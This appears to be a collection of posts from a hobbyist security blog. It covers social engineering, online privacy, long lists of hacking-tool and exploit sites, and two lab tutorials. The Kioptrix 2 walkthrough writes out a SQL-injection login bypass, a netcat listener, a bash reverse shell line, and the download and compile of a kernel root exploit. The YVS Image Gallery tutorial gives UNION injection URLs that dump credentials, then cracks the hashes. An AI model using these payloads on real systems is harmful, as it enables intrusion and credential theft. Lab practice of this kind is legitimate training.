A reader sent me this great article on Social engineering, so I decided to share with you all. Enjoy 🙂

Humans are inherently social creatures who have developed a world strongly based on interacting with others. Just like the world of information technology, the human social protocols are a complex series of rules and guidelines for how people behave when interacting with each other, and just like any other system, there are methods to use and abuse it once you understand the rules that govern it. Social engineering is a broad subject, but in this article we will focus mostly on social engineering as it is used to gain access to social groups and sensitive information.

What Is Social Engineering?

Social engineering is using the common tendencies of how people interact with others in order to gain information or a benefit of some kind. Effectively, social engineering can be referred to as the hacking of people. Before the Internet age, social engineering would more likely be referred to as conning, but the scope of social engineering’s applications goes beyond tricking people out of money. It is about causing people to act according to your wishes. Getting someone to say yes to a date is social engineering. So is getting your company a contract from a tough client. In regards to information security, social engineering is getting people to give up protected information.

A social engineering definition can be found here.

How Effective Is Social Engineering?

Even companies that place a high focus on securing their information networks can prove extremely vulnerable to social engineering attacks. DefCon, one of the largest hacking conferences in the world, routinely features a social engineering competition that has demonstrated over and over again that simple tactics can be used to get enough information to potentially do harm to a company. Position in the company also seems to have almost no effect on how susceptible a person is to social engineering; a big wig is just as likely to give up information as a cashier, but the big wig also usually has access to more pertinent info.

Social engineering is gaining attention for its insidious effectiveness, and is starting to get recognized in the media and the corporate world. Check out these news articles for an idea of how it is being perceived:

Smooth-Talking Hackers Test Hi-Tech Titan’s Skills – A look at DefCon hacking competitions, utilizing social engineering within legal boundaries to ferret out intelligence designed to weaken a company’s security.

Social engineering to blame in Syrian Electronic Army hijack of the Onion – The targets of these sorts of attacks aren’t always the ones you might expect, the Onion was a recent victim of a phishing scheme.

Facebook Social Engineering Attack Strikes NATO – Often, the targets are important, such as this attack against NATO. Every organization contains a human element, the target of savvy social engineers.

How a lying ‘social engineer’ hacked Wal-Mart – Many people are naturally biased to trust based on a set of subtle criteria; a tone of voice, a style of dress, even word choices can lead people to give credence to otherwise nonsensical ideas or situations, like this Wal-Mart store manager being duped into giving away company data in exchange for a non-existent contract possibility.

General Tips for Social Engineering

These are common guidelines and methods used by social engineers before and during any assignment on which they are working. These focus more on the preparation and mindset of the social engineer than the actual attack methods that are used.

Do Your Research

Take a look at this seminar on social engineering strategies.

Information is everywhere. If there is a topic you want to know about, you usually only need to glance at the Internet. Reading the news and press releases from a company can give you a firm background history from which to work. A social media site may give you insights into the temperament of a person or give you an idea of the social scene in which they operate. If you are trying to infiltrate a group or become closer to a person with any notable focus, then the Internet can be used to familiarize yourself with the topic.

Hackers may go above and beyond in this regard. If they manage to gain access to someone’s email account or messaging service, there may be records of conversations that can be used to mimic the person in electronic communications or learn about key topics that anyone on the inside should know about.

Read full article here: http://backgroundchecks.org/working-with-people-an-introduction-to-social-engineering.html

It's been a while I last updated this blog (been working on some projects lately), but I had to steal time out to make this.

In this session, we will be having a look at gaining root priviledges using command execution

Overview

Our target system is Kioptrix 2.

Kioptrix is a “Vulnerable-By-Design OS” which serves as a Pentest lab for security enthusiasts to legally try out their skills with the aim to completely compromise the machine.

The video describes a step-by-step way of going about this.

What Resources Do We Need?

   * Kioptrix – Level 2 VM. Download here
   * A Virtual Machine (Example: VMware Player or Virtual Box)

   * Nmap – (Can be found on BackTrack 5-R2). Download here
   * Firefox –  (Can be found on BackTrack 5-R2)
   * Linux Kernel 2.6 Root Exploit – (Can be found on exploit-db.com)  

Steps

   * Discover network for hosts (Netdiscover)     
   * Scan target network (Nmap)
   * Bypass login screen (MySQL Injection)   
   * Set NetCat to listen on attack machine    
   * Inject bash reverse shell.
   * Navigate to directory where apache user can write files (cd /tmp)   
   * Search for Local privilege escalation exploit for linux kernel version 2.6
   * Download exploit code and host it on attack machine
   * Use reverse shell to wget exploit code to Victim’s machine
   * Compile exploit code and Execute.
   * Game Over

  Commands

netdiscover –r 192.168.61.0/24
nmap 192.168.61.130 –p 1-65500 –o –sS –sV –v
clear
firefox 192.168.61.130
-> User: admin 
-> Password: 1’ or ‘1--

; cat index.php
nc –lvvp 4000
// We want to get a basic shell on the server, so we’ve setup our netcat listener to listen on port 4000 for the shell
/bin/sh 0</dev/tcp/192.168.61.128/4000 1>&0 2>&0

//Using bash, we have successfully created our connect back shell code with a single line of command
uname –a
whoami
// we are still apache user and the objective says we should be “root”
Cat /etc/issue
Firefox www.exploit-db.com
Search for “linux kernel 2.6”
Download ip_append_data() local ring0 root exploit
wget 192.168.61.128/9542.c
//Download the exploit code “9542.c” to the victim’s machine
gcc 9542.c –o RootMeNow
//Compile the exploit code
./RootMeNow
cat /etc/passwd
cat /etc/passwd && whoami && uname –a
cd /var/www
cd html
ls
whoami

 #####                          #######
#     #   ##   #    # ######    #     # #    # ###### #####
#        #  #  ##  ## #         #     # #    # #      #    #
#  #### #    # # ## # #####     #     # #    # #####  #    #
#     # ###### #    # #         #     # #    # #      #####
#     # #    # #    # #         #     #  #  #  #      #   #
 #####  #    # #    # ######    #######   ##   ###### #    #

Songs

– 07 Drive It Like You Stole It (Mindelixir Remix)

– 10 A Dream Within A Dream (Skeet Skeet Remix)

Kindly use the comment box below for feedbacks

– InfosecShinobi

Guest Post By Nurudeen Odeshina

Recently, I received a call from an unknown number. The caller went off the phone immediately I said “Hello”. This was of course against my usual habit of allowing unknown callers to speak first so that I may know who is at the other end of the phone. Anyways, I went online with the number and B.I.N.G.O! I got not only the name of my unknown caller but the location too!

There are a whole lot of (personal) information we post online most especially on social media sites. Though the intent may be to share personal information with friends and family, most of this information are also accessible by online crooks and criminals. People post names, addresses, geo-tag photos and all sorts. What more information do a criminal need to rob you? Social media makes it more fun. You can tell people’s date of birth, family members, employers, favourite hang-out spots, events they are attending and lots more. What more information does a tarot reader needs that cannot be sourced from your online presence? Your relationship status e.g. Divorced, Engaged, Married to? A Tarot reader needs no crystal balls anymore. All they need is a computer connected to the internet.

Think twice before you post personal information. Remember, criminal and crooks have online presence too and may see what you post on the internet.

Nurudeen Odeshina is an Information Value Chain Consultant (Information Security & Information Assurance), COBIT Trainer/Consultant. Passionate about #Information Security #ISO27001 #ISO22301 #PCIDSS

Follow him on twitter @Ibn_AbdulRahman

I saw this post on eLearnSecurity and decided to share. I will be updating as time goes on.

Information gathering:
(multi) http://www.subnetonline.com/
(multi) http://ping.eu/
(multi) http://serversniff.net/
(multi)http://www.yougetsignal.com/
(dig/nslookup,whois,traceroute) http://networking.ringofsaturn.com/Tools/
(whois,dns_tools,service_scan,traceroute) http://centralops.ne…http://centralops.ne…http://centralops.net/co/DomainDossier.aspx
(whois,dns_tools,domain_search) http://www.whois.ws/
(whois,dns_tools) http://www.robtex.com/
(whois) http://www.ripn.net:8080/nic/whois
(domain_search) http://searchdns.netcraft.com/
(iplookup,BGP AS lookup)http://bgp.he.net/
(ASN search) http://fixedorbit.com/search.htm
(dns,whois, network lookup, …) www.network-tools.com

 Exploit Search: 
(google engine)http://exploitsearch.com/
(nvd,osvdb,metasploit,…)http://www.exploitsearch.net/
(engine) http://shodan.surtri.com/
http://www.hack0wn.com/advisories.php
http://www.1337day.com/
http://www.exploit-db.com/
http://securityvulns.com/
http://www.zerodayin…http://www.zerodayinitiative.com/advisories/published/
http://seclists.org/fulldisclosure/
https://web.nvd.nist…https://web.nvd.nist.gov/view/vuln/search?cid=3
https://www.us-cert….https://www.us-cert.gov/cas/techalerts/
http://www.cvedetails.com/
http://routerpwn.com/

 Scanning networks,web structures,.. 
(nmap,openvas,sqlix,sqlmap,nikto,sub_domain) http://hackertarget….http://hackertarget.com/free-security-vulnerability-scans/
(nmap,traceroute,whois) http://hackerfantastic.com/
(structure) http://madnet.name/tools/madss/
(SQLi,XSS,..)http://hackvertor.co.uk/public
(structure) http://sucuri.net/index.php?page=scan
(Drupal Vulnerability Scanner) http://raz0r.name/drupalscan/
(Joomla scanner) https://www.joomlascan.com/
(Cross Site Scripting Scanner) http://xss-scanner.com/
(SQLi) http://www.be007.gig…http://www.be007.gigfa.com/scanner/scanner.php
(SQLi) http://scanner.drie88.tk/
(SQLi) http://www.localvn.b…http://www.localvn.biz/Tools/tools/Hack-Shop/SQLI-Scan/
(SQLi) http://wolfscps.com/gscanner.php

 Hack tools store:  http://hackarmoury.com/tools

    XSS Guide:
http://www.owasp.org…http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
http://www.businessi…http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php
http://www.googlebig…http://www.googlebig.com/forum/xss-cheats-t-18771.html
http://ha.ckers.org/xss.html
http://utf-8.jp/public/jjencode.html
http://0x416d73.name/jstb/

    SQL Injection Guide
http://ha.ckers.org/sqlinjection/
http://pentestmonkey.net/cheat-sheets/
http://ferruh.mavitu…http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

  netcat cheat sheet:   http://www.sans.org/…http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf
  hping3 cheatsheet  : http://sbdtools.goog…http://sbdtools.googlecode.com/files/hping3_cheatsheet_v1.0-ENG.pdf
  Nmap5  : http://sbdtools.goog…http://sbdtools.googlecode.com/files/Nmap5%20cheatsheet%20eng%20v1.pdf
  Metasplot meterpreter:     http://rmccurdy.com/…http://rmccurdy.com/scripts/Metasploit%20meterpreter%20cheat%20sheet%20reference.html

  Browser test:  
http://www.browserscope.org/

  Encode/Decode:
http://www.crypo.com/
http://coderstoolbox.net/string/
http://ostermiller.o…http://ostermiller.org/calc/encode.html
http://www.showmycode.com/
http://home2.paulsch…http://home2.paulschou.net/tools/xlate/  
http://passwordforen…http://passwordforensics.com/online-tools.php

  Shellcode to exe:
http://tools88.com/s…http://tools88.com/safe/shellcode_2_exe.php
http://freechina.org…http://freechina.org.ru/shellcode_2_exe.php  
http://sandsprite.co…http://sandsprite.com/shellcode_2_exe.php

  Wordlists:
http://contest-2010….http://contest-2010.korelogic.com/wordlists.html
http://packetstormse…http://packetstormsecurity.org/Crackers/wordlists/
http://www.skullsecu…http://www.skullsecurity.org/wiki/index.php/Passwords  
http://www.ericheitz…http://www.ericheitzman.com/passwd/passwords/

  Hashcrack:
(lm,ntlm,md5,mysql/3/4) http://hashcrack.com/
(md5,sha1) http://md5.rednoize.com/
(md5,sha1) http://isc.sans.org/…http://isc.sans.org/…http://isc.sans.org/tools/reversehash.html
(md5) http://www.tmto.org/…http://www.tmto.org/pages/passwordtools/hashcracker/
(md5,lm) http://www.c0llision.net/webcrack.php
(md5) http://md5cracker.tk/
(md5) http://www.hashchecker.de/
(md5) http://askcheck.com/
(md5) http://www.kinginfet.net/md5_cracker/
(lm) http://lmcrack.com/
(lm) http://cracker.offensive-security.com/
(md5) http://gdataonline.com/seekhash.php
(md5) http://opencrack.hashkiller.com/
(md5) http://cracker.fox21.at/
(md5) http://md5crack.com/
(md5) http://md5decryption.com/
(md5) http://authsecu.com/…http://authsecu.com/decrypter-dechiffrer-cracker-hash-md5/decrypter-dechiffrer-cracker-hash-md5.php
(md5) http://hash.insidepro.com/
(md5) http://md5decrypter.com/
(md5) http://md5pass.info/
(md5) http://crackfor.me/
(md5) http://www.xmd5.org/
(md5) http://socialware.ru/md5_crack.php
(md5) http://md5.my-addr.c…http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php
(md5) http://www.md5cracker.com/
(md5) http://www.md5decrypter.co.uk/
(md5) http://md5.noisette.ch/
(md5) http://md5.igrkio.in…http://md5.igrkio.info/md5-hash-database.html
(md5) http://www.hashhack.com
(WebSphere) http://www.sysman.nl/wasdecoder/
(SHA1/MD5 hash cracker on ATI and NVIDIA GPUs) http://www.golubev.com/hashgpu.htm
  (Default Password List) http://www.phenoelit…http://www.phenoelit-us.org/dpl/dpl.html

  Analysis Malware:
(AV) http://www.virustotal.com/
(AV) http://www.virscan.org/
(AV) http://virusscan.jotti.org/
(analysis system)http://mwanalysis.or…http://mwanalysis.org/?site=1&page=submit
(behavior analysis) http://anubis.iseclab.org/
http://www.netscty.com/malware-tool
(behavior analysis) http://mwanalysis.or…http://mwanalysis.org/?site=1&page=submit
(javascript,flash) http://wepawet.cs.ucsb.edu/

  Google Pentest BookmarksList   : https://code.google….https://code.google.com/p/pentest-bookmarks/wiki/BookmarksList

I came across this during one of my e-trolling sessions.

Enjoy.

I decided to share my 50 favorite links and resources for information security, penetration testing, Linux, programming, cyber warfare and other cyber security related stuffs in this article. The no.1 spot doesn’t really mean it is ranked according to my own judgement and preference but these websites are really my top 50 all time favorite links.

1. Packet Storm

An exploit database website that offers full disclosure of the exploits submitted for their archive since 1998.

2. Exploits Database by Offensive Security

The Exploit Database (EDB) is another good resource for cool archives about exploits and vulnerable software. If you are into inserting dorks in Google, then you might want to check out their Google Hacking Database.

3. Metasploit Unleashed by Offensive Security

The website is a free information security resource for learning the Metasploit Framework and it’s actuality an effort to promote awareness and raise funds for the underprivileged children in East Africa.

4. Schneier on Security

Bruce Schneier’s blog about Information Security. I like the Cryptography section of his blog which includes Algorithm Analyses, Algorithm Descriptions, his security papers and many more.

5. ClubHACK Magazine

ClubHack Mag is the 1st Indian Hacking Magazine and that their official website is where their free magazines can be downloaded and where recent articles for the current issue are published. What makes them cool is that they provide free information.

6. Open Web Application Security Project (OWASP)

The official website of the OWASP is cool place to get good resources about web application security and penetration testing.

7. BackBox Linux

BackBox Linux is my favorite pentesting distro because of its sleek performance and smoothness. Its DE is XFCE and I advise you try this too if you are a BackTrack user.

8. BackTrack Linux

BackTrack is one of the most popular pentesting distro and also my favorite distro because of the tools pre-installed on this distribution. I always check their forum site for tutorials and tips about penetration testing.

9. Attrition.org

Beware plagiarists, fake security experts, self-proclaimed hackers, and liars. Attrition / Security errata will pawn you till the 4th dawn for they demystify some conspiracies and the truth about some security companies and authors who only say half truth about their works. Security Errata’s articles, works, and categories include; Legal Threats, Certified Pre-owned, Autofail, Charlatans, Plagiarism, Security Companies, Security Companies that Spam, Other Company Incidents, Statistics, The Media (FIN), Security Software Vulnerabilities, and Data Loss / Data Theft.

10. Social Engineering – Security Through Education

The official website of the Social Engineering Framework(Art Of Human Hacking). An online resource material for understanding Social Engineering and some of the tools employed by hackers to achieve an attack vector.

11. BugTraq

BugTraq or Security Focus is another exploit archive that moderates mailing list that contains exploits, vulnerabilities, and cyber news submitted by infosec enthusiasts and hackers.

12. LeetUpload

An online hacker’s database that allows users to submit or upload files, exploits, botnets, trojans, worms, malwares,etc.

13. Exploit-ID

Exploit Information Disclosure is an exploit archive where I also visit to check out for alternative reasons.

14. Soldierx.com

Soldierx is an online community of penetration testers, hackers, and programmers. This is where I check out some of the projects of the SoldierX crew, tools, tutorials, hacker information database and many more.

15. SkullSecurity

SkullSecurity is a security blog maintained by Ron Bowes who is a gold GIAC-certified penetration tester (GPEN).

16. thomascannon.net

One of the cool websites you should visit is he official website of Thomas Cannon who is an Android Security Researcher, CISSP, CISM, OSCP, CFIP and CSIS industry qualifications. He was responsible for the android data stealing and the No-privilege Android remote shell vulnerabilities.

17. zx2c4

zx2c4 a.k.a Jason A. Donenfeld is a security researcher who wrote a POC of the Linux Local Privilege Escalation via SUID /proc/pid/mem Write (root exploit for 2.6.39 – 3.0.14 kernels). Jason has some good stuffs in his blog like the Answers to Stripe’s Capture the Flag, wifi-monitong scripts, stunnel interceptor, WEPAutoCrack.py and many more.

18. W3Schools

W3Schools is an online tutorial and cheat sheet for HTML, CSS, JavaScript, XML, XSL, ASP, SQL, ADO, VBScript, PHP, etc.

19. michaelboman.org

michaelboman.org is an information security blog maintained by Michale Boman who is a security expert in the fields of vulnerabilities and malicious code.

20. howtohackwebsite.com

The domain may not sound too ethical but no need to worry because it is a safe blog initiated by iSARG Security Group. The blog contains how to conduct penetration tests, ethical hacking, security practices, Linux tutorials and many more.

21. Pir8geek

Pir8geek is a blog about Open Source and Linux Goodies by pr3p who happens to be one of the admins of ProjectX Blog.

22. Inj3ct0r Exploit DataBase

An exploit or vulnerability online archive site for software, web applications, and security resources.

23. Synfyre

Synfyre is a website coded by n1tr0b who is a Security Adventist and PHP geek. He happens to be one of our bloggers and supports our aim as well.

24. Eric Romang Blog

Eric Romang Blog aka aka wow on ZATAZ.com is a simple yet cool blog about penetration testing wherein they try the new CVE’s using the Metasploit Framework. As of this moment writing this article, their new post is entitled “CVE-2008-5036 VLC Media Player RealText Subtitle Overflow Metasploit Demo”.

25. /dev/ttyS0

/dev/ttyS0 is a blog about embedded systems or devices hacking. Their admin of this blog is from Tactical Network Solutions who wrote reaver which is wps bruteforce tool. The goal of the blog is “to provide the necessary tools, skills, and knowledge to enable professionals, hobbyists, hackers and makers to enter into the world of embedded devices!”

26. SecurityTube

SecurityTube.net is website that contains free training videos about penetration testing, cracking, hacking, etc. which started in 2007. It is where some infosec professionals and enthusiasts share their knowledge by uploading their videos or watching other videos. Vivek Ramachandran is the Founder and Chief Trainer at SecurityTube.net. As of now, SecurityTube is now offering certifications like SecurityTube Metasploit Framework Expert and SecurityTube Wi-Fi Security Expert.

27. Security Mailing List Archive

Internet Security Resource Website that gives full disclosure about tools, information security, cyber news, issues, problems, tools, link sharing, and many more.

28. Darknet

A website about Ethical Hacking, Penetration Testing and Computer Security which basically contains interesting infosec related news, tools and more. For those of you who don’t know, Darknet is also my inspiration on the initiative of improving ProjectX Blog as an international and global information security blog which was first conceptualized by kapitanluffy.

29. Cyber Security Video Podcast

The home page for the Cyber Security video podcast series by Cyber Mike who is a cyber security and information assurance architect by profession, with over 27 years working in engineering, and the last 15 years focused on IA and cyber security. The podcast is about IT cyber security education and not about how to perform cyber attacks and exploits.

30. Finux Tech Weekly

Finux Tech Weekly is another podcast website initiated by Arron Finnon’s aka who ventures into his own independent podcast about Tech, Security and general geekyness.

31. Exploit This

Exploit This is a blog about the security news, current exploits, security advisories and vulnerabilities.

32. ROOTCON

ROOTCON is the premier hacking conference in the Philippines and where I started blogging about information security and geeky stuffs. If you want to check the articles I posted there just click this link.

33. Errata Security

The official blog of Errata Security which claims to be a high-end cyber security consulting company. Their articles are cool so you should try visiting this guys

34. Infosec Island

Infosec Island serves our daily dose of infosec news and cyber related stuffs. Categories include; Cloud Computing, Compliance, Database Security, Encryption, Network Security, OS & Software, Infosec Island News, Security Management, Social Engineering, Social Engineering, Vulns & Alerts, Web App Security, and Wireless Security.

35. Coresec.org

Coresec is an Information Security Blog that deals about penetration testing, vulnerability assessment, security research, web application, tools guide, etc. This is where I check out some new penetration testing guides.

36. Phrack

Nothing beats the old school! Nobody messes with the Phrack Magazine which is an online ezine for hackers and by the hackers. Phrack was first released on November 17, 1985 which until now became the largest computer underground ezine. In fact, The Hacker’s Manifesto was also published in this online ezine on the 7th issue. Truly an old yet awesome archive which takes you to the old days of the hacker culture in the 80′s.

37. Blackbuntu Linux

Blackbuntu Linux is another penetration testing distro based on Ubuntu. The official website of Blackbuntu includes good tutorials for pentesting under the blog and forum section.

38. r00tsecurity

r00tsecurity is an online forum site put together by hackers, computer geeks, and tech enthusiasts. Aside from being a forum, r00tsecurityhas has a good online archive for exploits, POC, advisories, scripts, sample programs, ezines, tools, cheat sheets and many more.

39. Th3-0uTl4wS

Th3 0uTl4wS is not only an online forum community of hackers, crackers, computer geeks, skiddies, infosec enthusiasts, etc. It has an online archive of downloadable tools, honeypots, ezines, ebooks, wordlists, tutorials, botnets, backdoor shells, scripts etc. I advise that you should be careful on the files that you will be downloading too. The website offers free services of their online tools like Md5 Cracker, URL Decoder/Encoder, Base64 Converter, Admin Finder, ASCII Converter, Online photoshop editor, and many more.

40. Linuxaria

Linuxaria is a blog review about anything that falls under GNU/Linux and Open Source. A good resource for some Linux tips, games, tools, advisories, etc.

41. Root Prompt

Are you a Unix user? Then this site is definitely for you! It contains nothing but Unix news and lots of good info.

42. Hack A Day

The place where electronic hacks are raped. A good site for punching in your hardware hacking ideas.

43. Vaxman.de

The personal website of Dr. Bernd Ulmann from Germay is a collection of his hobbies and projects focused on old computing machinery – especially machines from the former DIGITAL-Equipment-Corporation. This guy is an OpenVMS geek.

44. Hack in the Box

The HITB Network is a good security news website.

45. SecurityXploded

SecurityXploded is an Infosec Research and Developmental portal founded on April 2007. The site focuses on Anti-Spyware, Reverse Engineering, Cryptography, Password Recovery, Network security, Forensics, etc. For me, their articles are written and good quality and has a lot of cool tools developed for pentesting, hacking and security. I totally salute the SX team for the Metasploit modules they published.

46. DEFCON

The official website of the most famous hacker conference in the world.

47. Iron Geek

Adrian Crenshaw’s Information Security site and the home of my favorite open source vulnerable web application for penetration testing.

48. RETROCMP

The site claims to be a for restauration of classic computers, and what can I say.. it truly is a site about my favorite old computer machines especially from DEC or |d|i|g|i|t|a|l|. They have cool articles like Connecting a DECserver to modern Linux, Interfacing with a PDP-11/05, Dealing with Backplanes, DECNet and many more.

49. Linux Journal

My other resource for Linux news and tips.

50. CIRT.net

The home of Nikto Web Scanner and the place where I check the default usernames and passwords for electronic devices, routers, security appliance and many more. Plus, they have some good tools you might wanna check.

– Shipcode

SOURCE: http://www.theprojectxblog.net/50-links-resources-about-information-security-pentesting-and-cyber-news-that-you-should-try-for-a-visit/

Download video: http://www.mediafire.com/?mbf1l0ql1514dq3

Brief Overview

 YVS Image Gallery is a small database driven gallery created to be implemented within your existing site. Only a first attempt at the system has a long way to go, but it provides you with all the necessary tools to run your own picture gallery, such as uploading of multiple images and creation of thumbnails.
As reported by Corrado Liotta, YVS Image Gallery is vulnerable to SQL Injection. So basically what I did was to exploit this vulnerability.

 Tools

• YVS Image Gallery.zip
• A virtual machine (Example: VMware Player or Virtual Box)
• Firefox – (Can be found in BackTrack 5)
• John The Ripper – (Can be found in BackTrack 5)

Commands

//Open on firefox
http://127.0.0.1/server_path/view_all_albums.php
//Check the column count
http://127.0.0.1/YVS1/view_album.php?album_id=1+order+by+1--
http://127.0.0.1/YVS1/view_album.php?album_id=1+union+select+1--

//Get the version, current user and the database name
http://127.0.0.1/server_path/view_album.php?album_id=-2+UNION+SELECT+concat(0x1e,0x1e,version(),0x1e,user(),0x1e,database(),0x1e,0x20)--

//Get all the tables in the database
http://127.0.0.1/server_path/view_album.php?album_id=-1+union+select+group_concat(table_name)+FROM+information_schema.tables+where+table_schema=database()--
//Get all the column names
http://127.0.0.1/server_path/view_album.php?album_id=-1+union+select+group_concat(column_name)+FROM+information_schema.columns+where+table_schema=database()--
//Get username & password from the table "user"
http://127.0.0.1/server_path/view_album.php?album_id=-1+union+select+concat(username,0x3a,password)+from+user--
//The password is md5 encrypted, so we have to decrypt it
//We save the username:hash in a file and name it "pwd.txt"
//We open up a terminal on our backtrack
//We need to Brute Force the user credentials for the web application using John The Ripper
cd pentest/passwords/john
./john pwd.txt --wordlist=password.txt --format=raw-MD5
//where password.txt is our password wordlist
//John the ripper then cracks the hash and gives us the password
//After which we then login to the YVS Image Gallery admin panel

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– @InfosecShinobi

This is my first tutorial. .

Enjoy. .

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– @InfosecShinobi

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